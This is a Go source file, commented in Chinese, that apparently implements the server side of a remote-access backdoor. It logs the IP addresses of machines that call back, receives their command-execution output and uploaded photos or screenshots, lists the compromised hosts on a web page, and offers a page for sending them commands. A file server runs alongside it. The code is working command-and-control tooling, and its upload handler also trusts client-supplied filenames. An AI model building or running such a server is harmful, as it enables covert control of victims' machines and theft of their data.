package main

import (
	"encoding/csv"
	"fmt"
	"github.com/gin-gonic/gin"
	"io/ioutil"
	"net/http"
	"os"
	"sync"
)

const ginServerAddr = "192.168.2.2:80"

type Item struct {
	ID   int
	Name string
}

// ftp文件存储
func startFileServer(wg *sync.WaitGroup) {
	defer wg.Done()

	// 设置文件服务器
	fs := http.FileServer(http.Dir("."))

	// 注册文件服务器处理器
	http.Handle("/", http.StripPrefix("/", fs))

	// 启动文件服务器
	fileServerAddr := "127.0.0.1:8000"
	fmt.Printf("File server is listening on http://%s\n", fileServerAddr)
	err := http.ListenAndServe(fileServerAddr, nil)
	if err != nil {
		fmt.Println("Error starting file server:", err)
	}
}

// 定义一个全局的map用于存储已写入的IP地址
var writtenIPs = make(map[string]bool)

// 记录回连机器的ip地址并去重保存在info.csv文件中
func RecordIP(c *gin.Context) {
	ip := c.Param("ip")

	// 检查是否已写入相同的IP地址
	if writtenIPs[ip] {
		fmt.Printf("IP %s 已经存在于CSV文件中，不再写入。\n", ip)
		return
	}

	// 打开CSV文件
	file, err := os.Open("info.csv")
	if err != nil {
		panic(err)
	}
	defer file.Close()

	// 读取CSV文件内容
	reader := csv.NewReader(file)
	records, err := reader.ReadAll()
	if err != nil {
		panic(err)
	}

	// 检查是否已存在于CSV文件中
	for _, record := range records {
		if len(record) > 0 && record[0] == ip {
			fmt.Printf("IP %s 已经存在于CSV文件中，不再写入。\n", ip)
			return
		}
	}

	// 如果不存在，将IP地址写入CSV文件并记录在map中
	file, err = os.OpenFile("info.csv", os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
	if err != nil {
		panic(err)
	}
	defer file.Close()

	writer := csv.NewWriter(file)
	defer writer.Flush()

	// 写入IP地址到CSV文件
	err = writer.Write([]string{ip})
	if err != nil {
		panic(err)
	}

	// 记录已写入的IP地址
	writtenIPs[ip] = true

	fmt.Printf("IP %s 写入CSV文件成功。\n", ip)
}

func GetCmdResult(c *gin.Context) {
	result := c.Param("result")
	print(result)
	// 处理命令执行结果的逻辑
	c.HTML(200, "result.html", gin.H{"result": result, "index": ginServerAddr})
}

func GetPhotoResult(c *gin.Context) {
	// 从请求中获取上传的文件
	file, err := c.FormFile("photo")
	if err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
		return
	}

	// 打印上传的文件信息
	fmt.Printf("上传的文件名: %s\n", file.Filename)
	fmt.Printf("文件大小: %d\n", file.Size)

	// 将上传的文件保存到服务器
	uploadPath := "uploads/" // 指定保存上传文件的目录
	err = c.SaveUploadedFile(file, uploadPath+file.Filename)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}

	c.JSON(http.StatusOK, gin.H{"message": "上传成功"})
}

// ------------------------------------主页功能-----------------------------------------
// 获得ip

func GetIP() ([]Item, error) {
	// 打开CSV文件
	file, err := os.Open("info.csv")
	if err != nil {
		return nil, err
	}
	defer file.Close()

	// 读取CSV文件内容
	reader := csv.NewReader(file)
	records, err := reader.ReadAll()
	if err != nil {
		return nil, err
	}

	// 解析CSV数据，创建Item列表
	var items []Item
	for i, record := range records {
		// 假设CSV文件的每一行就是一个IP地址
		item := Item{
			ID:   i + 1, // 为每个IP生成一个虚拟的ID
			Name: record[0],
		}

		items = append(items, item)
	}

	return items, nil
}

// 主页展示
func Index(c *gin.Context) {
	items, err := GetIP()
	if err != nil {
		panic(err)
	}

	c.HTML(http.StatusOK, "index.html", gin.H{
		"Items": items,
	})
}

// --------------------------------------发送命令-------------------------------------------
// 发送页面
func edit(c *gin.Context) {
	ip := c.Param("id")
	c.HTML(200, "edit.html", gin.H{
		"ip": ip})
}

// 发送get请求
func sendGetRequest(url string) ([]byte, error) {
	// 发送GET请求
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET Request Error:", err)
	}
	defer response.Body.Close()

	// 读取响应内容
	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Read Response Error:", err)
	}

	fmt.Printf("GET Response from %s: %s\n", url, string(body))
	return body, err
}

// 通信功能
func startGinServer(wg *sync.WaitGroup) {
	defer wg.Done()

	// 创建 Gin 引擎
	r := gin.Default()
	r.LoadHTMLGlob("server/templates/*")
	// 添加 Gin 路由
	//******************	非ui操作部分      ****************************
	// 记录回连机器的IP地址
	r.GET("/user/:ip", RecordIP)
	//获得执行cmd的结果
	r.GET("/cmd/:result", GetCmdResult)
	//获得图片结果
	r.POST("/photo", GetPhotoResult)
	//主页
	r.GET("/index", Index)
	r.GET("/edit/:id", edit)

	// 启动 Gin 服务器

	fmt.Printf("Gin server is listening on http://%s\n", ginServerAddr)
	err := r.Run(ginServerAddr)
	if err != nil {
		fmt.Println("Error starting Gin server:", err)
	}
}

func main() {
	var wg sync.WaitGroup

	// 启动文件服务器
	wg.Add(1)
	go startFileServer(&wg)

	// 启动 Gin 服务器
	wg.Add(1)
	go startGinServer(&wg)

	// 等待两个服务器退出
	wg.Wait()
}
